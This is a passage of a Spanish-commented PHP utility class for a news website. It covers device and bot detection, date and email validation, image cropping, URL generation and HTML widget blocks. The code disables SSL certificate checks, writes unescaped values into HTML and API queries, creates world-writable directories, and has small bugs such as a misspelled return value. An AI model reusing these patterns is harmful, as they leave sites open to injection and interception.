                $movil = false;
            } elseif (strrpos($origen, "tablet") > 0 and ! $cookie_guardada) {
                $movil = false;
            } else {
                $movil = true;
            }
        } elseif (strrpos($origen, "mobile") > 0 and ! $cookie_guardada) {
            $movil = true;
        } elseif (strrpos($origen, "opera mini") > 0 and ! $cookie_guardada) {
            $movil = true;
        }

        if (strrpos($origen, "ipad") > 0) {
            $movil = false;
        }

        if ($movil == true) {
            if ($ver_movil == "movil") {
                setcookie("movil", "", time() - (3600), '/');
                $ver_version_movil = true;
            }
            //quier ver clasica
            elseif ($ver_movil == "clasica") {
                //no quier ver movil supuestamente
                setcookie("movil", "1", time() + (3600), '/');
                $ver_version_movil = false;
            }
            //entro con www
            elseif ($ver_movil == '') {
                if (isset($_COOKIE['movil']))
                    $ver_version_movil = false;
                else
                    $ver_version_movil = true;
            }
        }
        else {
            if ($ver_movil == "movil") {
                $ver_version_movil = true;
            }
        }

        return $ver_version_movil;
        //return false;
    }

    public function isIpad() {
        $origen = "agente: " . $_SERVER['HTTP_USER_AGENT'];
        $origen = strtolower($origen);

        $return = false;

        if (strrpos($origen, "ipad") > 0) {
            $return = true;
        }

        return $return;
    }

    public function redirectMovil() {
        echo $_SERVER['REQUEST_URI'];
        redirect(site_url(''));
        //redirect(URL_SITIO.$_SERVER['REQUEST_URI']);
        exit();
    }

    public function cortar_texto($string, $limit, $break = ".", $pad = "…") {
        // return with no change if string is shorter than $limit 
        if (strlen($string) <= $limit)
            return $string;
        // is $break present between $limit and the end of the string? 
        if (false !== ($breakpoint = strpos($string, $break, $limit))) {
            if ($breakpoint < (strlen($string) - 1)) {
                $string = substr($string, 0, $breakpoint) . $pad;
            }
        }
        return $string;
    }

    public function is_bot() {

        $user_agent = $_SERVER['HTTP_USER_AGENT'];
        //var_dump($user_agent); 
        //if no user agent is supplied then assume it's a bot
        if ($user_agent == "")
            return 1;

        //array of bot strings to check for
        $bot_strings = Array("google", "bot",
            "yahoo", "spider",
            "archiver", "curl",
            "python", "nambu",
            "twitt", "perl",
            "sphere", "PEAR",
            "java", "wordpress",
            "radian", "crawl",
            "yandex", "eventbox",
            "monitor", "mechanize",
            "facebookexternal", "Facebot"
        );
        foreach ($bot_strings as $bot) {
            if (strpos($user_agent, $bot) !== false) {
                return 1;
            }
        }

        return 0;
    }

    public function validaEmail($email) {
        $mail_correcto = 0;
        //compruebo unas cosas primeras
        if ((strlen($email) >= 6) && (substr_count($email, "@") == 1) && (substr($email, 0, 1) != "@") && (substr($email, strlen($email) - 1, 1) != "@")) {
            if ((!strstr($email, "'")) && (!strstr($email, '"')) && (!strstr($email, '\\')) && (!strstr($email, '$')) && (!strstr($email, ' '))) {
                //miro si tiene caracter .
                if (substr_count($email, ".") >= 1) {
                    //obtengo la terminacion del dominio
                    $term_dom = substr(strrchr($email, '.'), 1);
                    //compruebo que la terminación del dominio sea correcta
                    if (strlen($term_dom) > 1 && strlen($term_dom) < 5 && (!strstr($term_dom, "@"))) {
                        //compruebo que lo de antes del dominio sea correcto
                        $antes_dom = substr($email, 0, strlen($email) - strlen($term_dom) - 1);
                        $caracter_ult = substr($antes_dom, strlen($antes_dom) - 1, 1);
                        if ($caracter_ult != "@" && $caracter_ult != ".") {
                            $mail_correcto = 1;
                        }
                    }
                }
            }
        }
        if ($mail_correcto)
            return 1;
        else
            return 0;
    }

    public function diasDiferencia($fecha_mayor, $fecha_menor) {
        if ($this->validaFecha($fecha_mayor) and $this->validaFecha($fecha_menor)) {
            $dia_mayor = substr($fecha_mayor, 0, 2);
            $mes_mayor = substr($fecha_mayor, 3, 2);
            $anio_mayor = substr($fecha_mayor, 6, 4);

            $dia_menor = substr($fecha_menor, 0, 2);
            $mes_menor = substr($fecha_menor, 3, 2);
            $anio_menor = substr($fecha_menor, 6, 4);

            $segundos_mayor = mktime(0, 0, 0, $mes_mayor, $dia_mayor, $anio_mayor);
            $segundos_menor = mktime(0, 0, 0, $mes_menor, $dia_menor, $anio_menor);

            $diferencia_segundos = $segundos_mayor - $segundos_menor;
            if ($diferencia_segundos < 0) {
                $diferencia_segundos = $diferencia_segundos * (-1);
                return 0;
            } elseif ($diferencia_segundos > 0) {
                $diferencia_dias = $diferencia_segundos / (60 * 60 * 24);
                return $diferencia_dias;
            } else
                return 0;
        } else
            return 0;
    }

    public function diasDiferenciaConcurso($fecha_mayor, $fecha_menor) {
        if ($this->validaFecha($fecha_mayor) and $this->validaFecha($fecha_menor)) {
            $dia_mayor = substr($fecha_mayor, 0, 2);
            $mes_mayor = substr($fecha_mayor, 3, 2);
            $anio_mayor = substr($fecha_mayor, 6, 4);

            $dia_menor = substr($fecha_menor, 0, 2);
            $mes_menor = substr($fecha_menor, 3, 2);
            $anio_menor = substr($fecha_menor, 6, 4);

            $segundos_mayor = mktime(0, 0, 0, $mes_mayor, $dia_mayor, $anio_mayor);
            $segundos_menor = mktime(0, 0, 0, $mes_menor, $dia_menor, $anio_menor);

            $diferencia_segundos = $segundos_mayor - $segundos_menor;
            if ($diferencia_segundos < 0) {
                return -1;
            } elseif ($diferencia_segundos > 0) {
                $diferencia_dias = $diferencia_segundos / (60 * 60 * 24);
                return $diferencia_dias;
            } else
                return 0;
        } else
            return 0;
    }

    public function horasDiferencia($hora_mayor, $hora_menor) {
        $h_mayor = substr($hora_mayor, 0, 2);
        $m_mayor = substr($hora_mayor, 3, 2);

        $h_menor = substr($hora_menor, 0, 2);
        $m_menor = substr($hora_menor, 3, 2);

        $segundos_mayor = mktime($h_mayor, $m_mayor, 0, date('m'), date('d'), date('Y'));
        $segundos_menor = mktime($h_menor, $m_menor, 0, date('m'), date('d'), date('Y'));

        $valor2 = "";
        $tipo2 = "";

        $diferencia_segundos = $segundos_mayor - $segundos_menor;
        if ($diferencia_segundos < 0) {
            return 0;
        } elseif ($diferencia_segundos > 0) {
            $diferencia = $diferencia_segundos / (60 * 60);
            $val = explode(".", $diferencia);
            if (count($val) > 1) {
                if ($val[0] > 0) {
                    $valor1 = $val[0];
                    $tipo1 = "h";
                    $decimales = "0." . $val[1];
                    $valor2 = $decimales * 60;
                    $valor2 = (int) $valor2;
                    $tipo2 = "min";
                } else {
                    $diferencia = $diferencia_segundos / (60);
                    $valor1 = $diferencia;
                    $tipo1 = "min";
                }
            } else {
                $valor1 = $val[0];
                $tipo1 = "h";
            }

            if ($tipo1 == "h" and $valor1 > 1)
                $tipo1 .= "s";

            $return['valor1'] = $valor1;
            $return['tipo1'] = $tipo1;
            $return['valor2'] = $valor2;
            $return['tipo2'] = $tipo2;

            return $return;
        } else
            return 0;
    }

    public function restarDiasFecha($fecha, $dia, $separador = "-") {
        $day = substr($fecha, 0, 2);
        $mon = substr($fecha, 3, 2);
        $year = substr($fecha, 6, 4);
        return date('Y-m-d', mktime(0, 0, 0, $mon, $day - $dia, $year));
    }

    public function calcularEdad($fecha) {
        if ($fecha) {
            $dia = substr($fecha, 0, 2);
            $mes = substr($fecha, 3, 2);
            $anio = substr($fecha, 6, 4);

            $dif = date('Y') - $anio;
            if ($mes > date('m'))
                $dif--;
            if ($mes == date('m') and $dia > date('d'))
                $dif--;

            return $dif;
        } else
            return 0;
    }

    public function obtenerCumple($fecha, $sep = "/") {
        if ($fecha) {
            $dia = substr($fecha, 0, 2);
            $mes = substr($fecha, 3, 2);

            return $dia . $sep . $mes;
        } else
            return "";
    }

    public function devolverIMG($foto, $w, $h) {
        if ($foto != "") {
            if (file_exists(PATH_BASE_FILE . "fotos/" . $foto)) {
                $info_imagen = @getimagesize(PATH_BASE_FILE . "fotos/" . $foto);
                $ancho = $info_imagen[0];
                $alto = $info_imagen[1];
                $path_image = URL_BASE_FILE . "fotos/" . $foto;
                $width = '';
                $height = '';

                if ($h == 0) {
                    if ($ancho > $w) {
                        $width = 'width="' . $w . '"';
                    } else
                        $width = 'width="' . $ancho . '"';
                    $image = '<img src="' . $path_image . '" ' . $width . ' ' . $height . ' alt="">';
                }
                elseif ($w == 0) {
                    if ($alto > $h) {
                        $height = 'height="' . $h . '"';
                    } else
                        $height = 'height="' . $alto . '"';
                    $image = '<img src="' . $path_image . '" ' . $width . ' ' . $height . ' alt="">';
                }
                else {
                    $alto_d = floor(($w * $alto) / $ancho);
                    $ancho_d = floor(($h * $ancho) / $alto);

                    if ($alto_d <= $h and $ancho_d > $w) {
                        $width = 'width="' . $w . '"';
                    } elseif ($ancho_d <= $w and $alto_d > $h) {
                        $height = 'height="' . $h . '"';
                    } else {
                        $width = 'width="' . $w . '"';
                        $height = 'height="' . $h . '"';
                    }

                    $image = '<img src="' . $path_image . '" ' . $width . ' ' . $height . ' alt="">';
                }
            } else
                $image = '';
        } else
            $image = '';

        return $image;
    }

    public function devolverIMGAvanzado($foto, $w, $h, $class = "") {
        if ($foto != "") {
            $clase_foto = '';
            if ($class != "")
                $clase_foto = 'class="' . $class . '"';

            $foto_orig = str_replace("tmb2_", "", $foto);
            if (file_exists(PATH_BASE_FILE . "fotos/" . $foto_orig)) {
                if (file_exists(PATH_BASE_FILE . "fotos/" . $foto)) {
                    $info_imagen = @getimagesize(PATH_BASE_FILE . "fotos/" . $foto);
                    $ancho = $info_imagen[0];
                    $alto = $info_imagen[1];
                    $path_image = URL_BASE_FILE . "fotos/" . $foto;
                    $width = '';
                    $height = '';

                    if ($h == 0) {
                        if ($ancho > $w) {
                            $width = 'width="' . $w . '"';
                        } else
                            $width = 'width="' . $ancho . '"';
                        $image = '<img src="' . $path_image . '" ' . $width . ' ' . $height . ' alt="" ' . $clase_foto . '>';
                    }
                    elseif ($w == 0) {
                        if ($alto > $h) {
                            $height = 'height="' . $h . '"';
                        } else
                            $height = 'height="' . $alto . '"';
                        $image = '<img src="' . $path_image . '" ' . $width . ' ' . $height . ' alt="" ' . $clase_foto . '>';
                    }
                    else {
                        $alto_d = floor(($w * $alto) / $ancho);
                        $ancho_d = floor(($h * $ancho) / $alto);

                        if ($alto_d <= $h and $ancho_d > $w) {
                            $width = 'width="' . $w . '"';
                        } elseif ($ancho_d <= $w and $alto_d > $h) {
                            $height = 'height="' . $h . '"';
                        } else {
                            $width = 'width="' . $w . '"';
                            $height = 'height="' . $h . '"';
                        }

                        $image = '<img src="' . $path_image . '" ' . $width . ' ' . $height . ' alt="" ' . $clase_foto . '>';
                    }
                } else {
                    $foto_sola = end(explode("/", $foto));
                    $ruta = str_replace($foto_sola, "", $foto);
                    $ruta = str_replace("/", "-", $ruta);
                    $foto_sola = str_replace("tmb2_", "", $foto_sola);
                    $path_image = site_url("foto/cropear2013/" . $ruta . "/" . $foto_sola . "/" . $w . "/" . $h);
                    $image = '<img src="' . $path_image . '" ' . $width . ' ' . $height . ' alt="" ' . $clase_foto . '>';
                }
            } else
                $image = '';
        } else
            $image = '';

        return $image;
    }

    public function validaHora($hora) {
        if ($hora != "") {
            $H = substr($hora, 0, 2);
            $m = substr($hora, 3, 2);
            $separador = substr($hora, 2, 1);
            if ($separador == ":") {
                if (is_numeric($H)) {
                    if ($H >= 0 and $H <= 23) {
                        if (is_numeric($m)) {
                            if ($m >= 0 and $m <= 59)
                                return true;
                            else
                                return false;
                        } else
                            return false;
                    } else
                        return false;
                } else
                    return false;
            } else
                return flase;
        } else
            return false;
    }

    public function armar_link_seccion($titulo) {

        $link = strtolower($titulo);
        $validar = explode("-", $link);
        if (count($validar) == 1)
            $link = site_url($this->limpiarurl($link));
        else
            $link = site_url($link);

        return $link;
    }

    public function armar_link_encabezado($id) {
        if ($id != 0) {
            $CI = & get_instance();
            $CI->load->model("seccion_modelo", "seccion", true);

            $seccion = $CI->seccion->dameInfoSeccion($id);

            $titulo = $seccion['nombre'];

            if ($id == 99)
                return 'numeros-oro?=derecha';
            else
                return $this->armar_link_seccion($titulo);
        }
        else {
            return false;
        }
    }

    public function devolverIMGVideo($video_id, $codigo, $tipo = 0) {
        $path_local = PATH_BASE_FILE . "fotos/videos/" . $video_id . "_" . $tipo . ".jpg";
        $url_local = URL_BASE_FILE . "fotos/videos/" . $video_id . "_" . $tipo . ".jpg";
        $url_youtube = "http://img.youtube.com/vi/" . $codigo . "/" . $tipo . ".jpg";

        if (file_exists($path_local))
            return $url_local;
        else
            return $url_youtube;
    }

    //funcion que devuelve una imagen con el tamaño exacto cropeada desde la original
    //$ruta_origen = //ruta de la imagen de origen
    //$imagen_origen = //imagen de origen
    //$ruta_destino = //ruta de la imagen de destino
    //$width=	//ancho de la imagen
    //$height= //alto de la imagen
    //$class= //clase de la imagen
    //$alt= //alt de la imagen
    //$title= //titulo de la imagen
    //$pos_vertical = // 0 - top, 1 - middle, 2 - bottom
    public function dameImagen($ruta_origen, $imagen_origen, $ruta_destino, $width, $height, $class = "", $alt = "", $title = "", $pos_vertical = 0) {
        $imagen = '';
        if ($ruta_origen != "" && $imagen_origen != "") {
            $clase_foto = '';
            if ($class != "")
                $clase_foto = 'class="' . $class . '" ';


            //***creamos las carpetas necesarias
            //$carpetas = explode('/',$ruta_destino);
            if (!file_exists(PATH_BASE_FILE . "fotos/" . $ruta_destino)) {
                mkdir(PATH_BASE_FILE . "fotos/" . $ruta_destino, 0777, true);
            }
            //***
            //$foto_nueva = str_replace("tmb1_","tmb4_",$foto);
            $foto_nueva = $width . 'x' . $height . '_' . $imagen_origen;

            $path_origen = PATH_BASE_FILE . "fotos/" . $ruta_origen . 'orig_' . $imagen_origen;
            if (!file_exists($path_origen))
                $path_origen = PATH_BASE_FILE . "fotos/" . $ruta_origen . $imagen_origen;
            $path_destino = PATH_BASE_FILE . "fotos/" . $ruta_destino . $foto_nueva;

            if (!file_exists($path_destino)) {

                if (file_exists($path_origen)) {
                    //genero la imagen
                    include_once(PATH_BASE . "controllers/herramientas/imageresize.class.php");

                    @$oResize = new ImageResize($path_origen);

                    $info_imagen = @getimagesize($path_origen);
                    $ancho = $info_imagen[0];
                    $alto = $info_imagen[1];

                    if ($width == 0) {
                        $width = ($height * $ancho / $alto);
                    }
                    if ($height == 0) {
                        $height = ($width * $alto / $ancho);
                    }

                    $aux_height = ($width * $alto / $ancho);
                    if ($aux_height < $height) {
                        //resize a $height
                        @$oResize->resizeHeight($height);
                        //if(@$oResize->save_part($path_destino))
                        //{
                        //@$oResize = new ImageResize($path_destino);
                        $aux_width = (int) ($height * $ancho / $alto);
                        $aux_espacio = (int) ($aux_width - $width) / 2;
                        if ($width > $ancho)
                            $aux_espacio = 0;
                        $oResize->gd_s = $oResize->gd_d;
                        if (@$oResize->resizeWidthHeight2($width, $height, $aux_espacio)) {
                            @$oResize->save($path_destino);
                            @$oResize = new ImageResize($path_destino);
                            if ($this->marca == 1) {
                                $oResize->marcar(PATH_BASE_FILE . 'img/watermark.png');
                            }
                        } else {
                            @unlink($path_destino);
                            return '';
                        }
                        //}
                        //else
                        //return '';
                    } else {
                        //resize a $width
                        @$oResize->resizeWidth($width);
                        //if(@$oResize->save_part($path_destino))
                        //{
                        //@$oResize = new ImageResize($path_destino);
                        if ($width > $ancho)
                            $aux_espacio = 0;
                        $oResize->gd_s = $oResize->gd_d;
                        @$oResize->resizeWidthHeight2($width, $height, 0);
                        @$oResize->save($path_destino);
                        @$oResize = new ImageResize($path_destino);
                        if ($this->marca == 1) {
                            $oResize->marcar(PATH_BASE_FILE . 'img/watermark.png');
                        }
                        //}
                    }
                } else {
                    return '';
                }
            }


            if (URL_BASE_FILE == "http://www.diariopanorama.com/" || URL_BASE_FILE == "http://demo.diariopanorama.com/") {
                $rand = rand(1, 5);
                $urlmodif = str_replace("demo", "img" . $rand, URL_BASE_FILE);
                $urlmodif = str_replace("www", "img" . $rand, $urlmodif);
            } else
                $urlmodif = URL_BASE_FILE;

            if ($this->formato == "url")
                $image = $urlmodif . "fotos/" . $ruta_destino . $foto_nueva;
            else {
                $pos = strpos($class, 'lazy');

                if ($pos !== false) {
                    $image = '<img ' . $clase_foto . 'data-original="' . $urlmodif . "fotos/" . $ruta_destino . $foto_nueva . '" alt="' . $alt . '" title="' . $title . '"';
                } else {
                    $image = '<img ' . $clase_foto . 'src="' . $urlmodif . "fotos/" . $ruta_destino . $foto_nueva . '" alt="' . $alt . '" title="' . $title . '"';
                }

                if ($width <> 0)
                    $image .= ' width="' . $width . '" ';
                if ($height <> 0)
                    $image .= ' height="' . $height . '" ';
                $image .= $clase_foto . ' />';
            }
        } else
            $image = '';

        return $image;
    }

    public function cantidadCompartidas($url) {
        $total = 0;
        $total_face = 0;
        $total_twitter = 0;
        if ($url != "") {
            //Para Facebook
            $opts = array(
                'http' => array(
                    'user_agent' => 'PHP libxml agent',
                    'proxy' => PROXY_HOST_TCP,
                )
            );
            $context = stream_context_create($opts);
            libxml_set_streams_context($context);
            $xml = new DOMDocument();
            $xml->load('https://api.facebook.com/method/fql.query?query=SELECT like_count,share_count,total_count FROM link_stat WHERE url="' . $url . '"');
            $total_face = $xml->getElementsByTagName("total_count")->item(0)->nodeValue;
            if (!$total_face)
                $total_face = 0;


            //Para Twitter
            $aContext = array(
                'http' => array(
                    'proxy' => PROXY_HOST_TCP,
                    'request_fulluri' => true,
                ),
            );
            $cxContext = stream_context_create($aContext);
            $contenido = file_get_contents("http://urls.api.twitter.com/1/urls/count.json?url=" . $url, false, $cxContext);
            $contenido = json_decode($contenido);
            $total_twitter = $contenido->count;
            if (!$total_twitter)
                $total_twitter = 0;

            $result['total'] = $total_face + $total_twitter;
            $result['facebook'] = $total_face;
            $result['twitter'] = $total_twitter;
        }

        return $result;
    }

    public function quitaEspacios($cadena) {
        $cadena_validar = trim($cadena);
        $partes_cadena = explode(" ", $cadena_validar);
        if (count($partes_cadena) > 1) {
            $cadena_validar = "";
            foreach ($partes_cadena as $parte) {
                if ($parte != "")
                    $cadena_validar .= $parte . " ";
            }
            $cadena_validar = trim($cadena_validar);
        }

        return $cadena_validar;
    }

    public function generar_url($tipo, $id, $titulo, $seccion = "") {
        $url = "";
        switch ($tipo) {
            case '2':
                $url = site_url('video/' . $id . '/' . $this->limpiarurl($titulo));
                break;
            case '3':
                $url = site_url("usuarios/ver/" . $id . "/" . $this->limpiarurl($titulo));
            case '5':
                $url = site_url('galeria/' . $id . '/' . $this->limpiarurl($titulo));
                break;
            case '43':
                $url = site_url("imagenes/fotoreportaje/" . $id . "/" . $this->limpiarurl($titulo));
                break;
            case '32':
                // Parche para Medios UNT
                switch ($seccion) {
                    case'gobernacion' :
                        $seccion = 'gobernacion';
                        break;
                    case'interior' :
                        $seccion = 'interior';
                        break;
                    case'salud' :
                        $seccion = 'salud';
                        break;
                    case'desarrolloprod' :
                        $seccion = 'desarrollo-productivo';
                        break;
                    case'desarrollosocial' :
                        $seccion = 'desarrollo-social';
                        break;
                    case'educacion' :
                        $seccion = 'educacion';
                        break;
                    case'seguridad' :
                        $seccion = 'seguridad';
                        break;
                    case'gobiernoyjusticia' :
                        $seccion = 'gobierno-y-justicia';
                        break;
                    case'economia' :
                        $seccion = 'economia';
                        break;
                }
                $url = site_url('noticia/' . $seccion . '/' . $id . '/' . $this->limpiarurl($titulo));
                break;
            case '77':
                $url = URL_AGENDA . 'evento/' . $id . '/' . $this->limpiarurl($titulo);
                break;
            case '34':
                $url = site_url('periodistas/' . $id . '/' . $this->limpiarurl($titulo));
                break;
            case '666':
                    $url = site_url('breve/' . $id . '/' . $this->limpiarurl($titulo));
                    break;
            case '8':
                if ($seccion != "")
                    $url = $this->limpiarurl($seccion);
                else
                    $url = site_url('secciones/' . $id . '/' . $this->limpiarurl($titulo));
                break;
            case '33':
                if ($seccion != "")
                    $url = $this->limpiarurl($seccion);
                else
                    $url = site_url('tags/' . $id . '/' . $this->limpiarurl($titulo));
                break;
        }
        return $url;
    }

    public function compartidas_google($url) {
        $curl = curl_init();
        curl_setopt($curl, CURLOPT_URL, "https://clients6.google.com/rpc");
        curl_setopt($curl, CURLOPT_POST, true);
        curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);
        curl_setopt($curl, CURLOPT_POSTFIELDS, '[{"method":"pos.plusones.get","id":"p","params":{"nolog":true,"id":"' . $url . '","source":"widget","userId":"@viewer","groupId":"@self"},"jsonrpc":"2.0","key":"p","apiVersion":"v1"}]');
        curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-type: application/json'));
        $curl_results = curl_exec($curl);
        curl_close($curl);
        $array = json_decode($curl_results, true);
        if (isset($array[0]['result']['metadata']['globalCounts']['count']))
            $cant_plus = intval($array[0]['result']['metadata']['globalCounts']['count']);
        else
            $cant_plus = 0;

        return $cant_plus;
    }

    public function vigente($fecha_fin, $hora_fin = "") {
        //Formato de fecha Y-m-d
        $fecha_fin = $this->transformar_fecha($fecha_fin, "-");

        $dias_dif = $this->diasDiferencia($fecha_fin, date('d-m-Y'));

        if ($dias_dif == 0) {
            $horas_dif = $this->horasDiferencia($hora_fin, date('H:i'));
            if ($horas_dif)
                return true;
            else
                return false;
        } else
            return true;
    }

    public function orderMultiDimensionalArray($toOrderArray, $field, $inverse = false) {
        $position = array();
        $newRow = array();
        foreach ($toOrderArray as $key => $row) {
            $position[$key] = $row[$field];
            $newRow[$key] = $row;
        }
        if ($inverse) {
            arsort($position);
        } else {
            asort($position);
        }
        $returnArray = array();
        foreach ($position as $key => $pos) {
            $returnArray[] = $newRow[$key];
        }
        return $returnArray;
    }

    public function dameBloqueClimaMovil() {
        $CI = & get_instance();

        $CI->load->library('memcached_library');
        $info_clima = $CI->memcached_library->get('clima_home');

        $contenido_final = '';
        if ($info_clima and is_array($info_clima)) {
            $CI->load->library('clima_library');
            $ico_clima_p = $CI->clima_library->dameIcono($info_clima['clima']['img_codigo']);
            $clima_extendido = $info_clima['pronostico'];

            $superior = '<div class="container-fluid celeste">
						    <div class="container celeste">
						        <section class="row">
						            <div id="carousel-example-generic22" class="carousel slide" data-ride="carousel">        
						            <div class="col-xs-1 col-sm-1 col-md-1 col-lg-1" style="position:relative;">
						                <a class="left carousel-control hola1" href="#carousel-example-generic22" role="button" data-slide="prev">
						                  <span class="icon-izq" aria-hidden="true"></span>
						                  <span class="sr-only">Anterior</span>
						                </a>
						            </div>
						            <div class="col-xs-10 col-sm-10 col-md-10 col-lg-10">
						                <section class="row">
						                  <div class="carousel-inner" role="listbox">';

            $ico_p = site_url('img/mobile/tico' . $ico_clima_p . '.png?v2');

            $contenido_p = '<div class="item active">
								<div class="col-xs-6 col-sm-6 col-md-4 col-lg-4 btiempo">
		                            <div class="ttxt1">HOY<br>
		                                <span><strong>' . $info_clima['pronostico'][0]['max'] . '°C</strong> / ' . $info_clima['pronostico'][0]['min'] . '°C</span>
		                            </div>
		                            <div class="tie02">
		                                <img src="' . $ico_p . '">
		                            </div>
		                            <div class="ttxt2">Humedad <strong>' . $info_clima['clima']['humedad'] . '</strong></div>
		                        </div>';

            $contenido_s = '<div class="item">';
            $i = 0;
            foreach ($clima_extendido as $key => $ce) {
                if ($key < 1) {
                    $ico_clima = $CI->clima_library->dameIcono($ce['img_codigo']);
                    $ico = site_url('img/mobile/tico' . $ico_clima . '.png?v2');
                    $contenido_p .= '<div class="col-xs-6 col-sm-4 col-md-6 col-lg-4 btiempo">
			                            <div class="ttxt1">' . $ce['dia'] . '<br>
			                                <span><strong>' . $ce['max'] . '°C</strong> / ' . $ce['min'] . '°C</span>
			                            </div>
			                            <div class="tie02">
			                                <img src="' . $ico . '">
			                            </div>
			                            <div class="ttxt2">' . $ce['desc'] . '</div>
			                        </div>';
                } else {
                    if ($i < 3) {
                        $contenido_s .= '<div class="col-xs-6 col-sm-6 col-md-4 col-lg-4 btiempo">
				                            <div class="ttxt1">' . $ce['dia'] . '<br>
				                                <span><strong>' . $ce['max'] . '°C</strong> / ' . $ce['min'] . '°C</span>
				                            </div>
				                            <div class="tie02">
				                                <img src="' . $ico . '">
				                            </div>
				                            <div class="ttxt2">' . $ce['desc'] . '</div>
				                        </div>';
                    }
                }
                $i++;
            }

            $contenido_p .= '</div>';
            $contenido_s .= '</div>';

            $inferior = '</section>
						                </div>
						                <div class="col-xs-1 col-sm-1 col-md-1 col-lg-1" style="position:relative;">
						                    <a class="right hola2 carousel-control" href="#carousel-example-generic22" role="button" data-slide="next">
						                        <span class="icon-der" aria-hidden="true"></span>
						                        <span class="sr-only">Siguiente</span>
						                    </a>
						                </div>   
						            </div>      
						        </section>
						    </div>
						</div>';

            $contenido_final = $superior . $contenido_p . $contenido_s . $inferior;
        }

        return $contenido_final;
    }

    public function dameBloqueGaleriasMovil() {
        $CI = & get_instance();

        $CI->load->library('memcached_library');
        $galerias = $CI->memcached_library->get('galerias_home_movil');
        if (!$galerias) {
            $CI->load->model("galeria", "galeria", true);
            $galerias = $CI->galeria->dameGaleriasSociales(0, 3);
            $CI->memcached_library->add("galerias_home_movil", $galerias, 900);
        }

        $contenido_final = '';

        $superior = '<div class="container-fluid coloresc">
				    	<div class="container coloresc">
				        	<section class="row">
				            	<div id="carousel-example-generic1" class="carousel slide" data-ride="carousel">
				            		<div class="carousel-inner" role="listbox">';

        $inferior = '               </div>
					                <a class="left carousel-control" href="#carousel-example-generic1" role="button" data-slide="prev">
					                  <span class="icon-izq" aria-hidden="true"></span>
					                  <span class="sr-only">Anterior</span>
					                </a>
					                <a class="right carousel-control" href="#carousel-example-generic1" role="button" data-slide="next">
					                  <span class="icon-der" aria-hidden="true"></span>
					                  <span class="sr-only">Siguiente</span>
					                </a>
					            </div>';

        $inferior .= '<div class="vermasinv coloresc">
					            <a href="' . site_url("galerias-sociales") . '">Ver todas las galerías</a>
					        </div>';

        $inferior .= '</section>
					    </div>
					</div>';

        $contenido = '';
        foreach ($galerias as $key => $galeria) {
            $img_archivo_gal = end(explode("/", $galeria['destacada']));
            $img_ruta_gal = str_replace($img_archivo_gal, "", $galeria['destacada']);

            $this->formato = "url";
            $img_gal = $this->dameImagen($img_ruta_gal, $img_archivo_gal, 'cache/' . $img_ruta_gal, 640, 426, " lazy ");
            $this->formato = "html";

            $tit_gal = $this->limpiarurl($galeria['titulo']);
            $url_gal = $this->generar_url(5, $galeria['id'], $galeria['titulo']);
            $href_gal = urlencode($url_gal);

            $contenido .= '<div class="item';

            if ($key == 0)
                $contenido .= ' active';

            $contenido .= '">';


            $contenido .= '<div class="col-lg-12 image">
                                	<div class="image-box">';

            if ($img_gal)
                $contenido .= '<img data-orig="' . $img_gal . '" class=" lazy ">';

            $contenido .= '<div class="sombrabig"></div>
            					<div class="headsec coloresc"><img src="' . site_url("img/box-eventos.png") . '"></div>
            					<div class="list-social">
                                    <a href="javascript:void(0)" onclick="javascript:compartir("http://www.facebook.com/sharer/sharer.php?u=' . $href_gal . ',' . $galeria['id'] . ',32,700,435)"><span class="icon-facebook"><span class="path1"></span><span class="path2"></span></span></a>
                                    <a href="javascript:void(0)" onclick="javascript:compartir("http://twitter.com/share?url=' . $href_gal . '&amp;text=' . $tit_gal . '",' . $galeria['id'] . ',32,700,435)"><span class="icon-twitter"><span class="path1"></span><span class="path2"></span></span></a>
                                    <a href="whatsapp://send?text=' . NOMBRE_SITIO . ' - ' . $tit_gal . ' - ' . $url_gal . '"><span class="icon-whatsapp"><span class="path1"></span><span class="path2"></span><span class="path3"></span></span></a>
                                </div>
                                <h1><a href="' . $url_gal . '" class="clkinv">' . $galeria['titulo'] . '</a></h1>
                            </div>
                        </div>
                    </div>';
        }

        $contenido_final = $superior . $contenido . $inferior;

        return $contenido_final;
    }

    public function dameBloqueSeccionEspecial($seccion, $limit) {
        $CI = & get_instance();
        $CI->load->library('memcached_library');
        $campo = "ultimo";

        // Datos Edición
        $edicion = $CI->memcached_library->get('edicion_publicada');
        if (!$edicion) {
            $CI->load->model("edicion", "edicion", true);
            $edicion = $CI->edicion->dameEdicionPublicada();
            $CI->memcached_library->add('edicion_publicada', $edicion, 72000);
        }

        // Datos Sección
        $info_tag = $CI->memcached_library->get("info_tag_" . $seccion);
        if (!$info_tag) {
            $CI->load->model("tag", "tag", true);
            $info_tag = $CI->tag->dameTag($seccion);
            $CI->memcached_library->add('info_tag_' . $seccion, $info_tag, 3600);
        }

        // Notas
        $CI->load->model("nota_modelo", "nota_modelo", true);
        $not_in_bloque = "";

        $notas = $CI->memcached_library->get('bloque_automatico_home_movil_' . $seccion);
        if (!$notas) {
            $ids_en_home = $CI->nota_modelo->dameIdNotasdiagramadas('1');
            if ($ids_en_home) {
                foreach ($ids_en_home as $id_home) {
                    $not_in_bloque .= $id_home['id_contenido'] . ",";
                }
                $not_in_bloque = substr($not_in_bloque, 0, strlen($not_in_bloque) - 1);
            }
            $notas = $CI->nota_modelo->dameNotasTagHome($edicion['id'], $seccion, $campo, $not_in_bloque, $limit);
            $CI->memcached_library->add('bloque_automatico_home_movil_' . $seccion, $notas, 900);
        }

        $seccion_nombre = $info_tag['nombre'];
        $seccion_url = $this->generar_url(8, $info_tag['id'], $info_tag['nombre']);
        $href_canonical = $this->generar_url(32, $notas[0]['id'], $notas[0]['titulo'], $seccion_nombre);
        $url = $this->generar_url(32, $notas[0]['id'], $notas[0]['titulo'], $seccion_nombre);
        $titulo = $this->limpiarurl($notas[0]['titulo']);
        $color = ($info_tag['color']) ? $info_tag['color'] : 'loc';

        $img_archivo = end(explode("/", $notas[0]['destacada']));
        $img_ruta = str_replace($img_archivo, "", $notas[0]['destacada']);

        if (isset($img_ruta) && !is_array($img_ruta) && isset($img_archivo) && !is_array($img_archivo)) {
            $this->formato = "url";
            $img = $this->dameImagen($img_ruta, $img_archivo, 'cache/' . $img_ruta, 640, 426, " lazy ");
            $this->varios_library->formato = "html";
        } else
            $img = false;

        $contenido_final = '';

        $nota_p = '<div class="container-fluid color' . $color . '">
					        <div class="container color' . $color . '">
					            <section class="row">
					                <div class="col-lg-12 image">
					                    <div class="image-box">';
        if ($img)
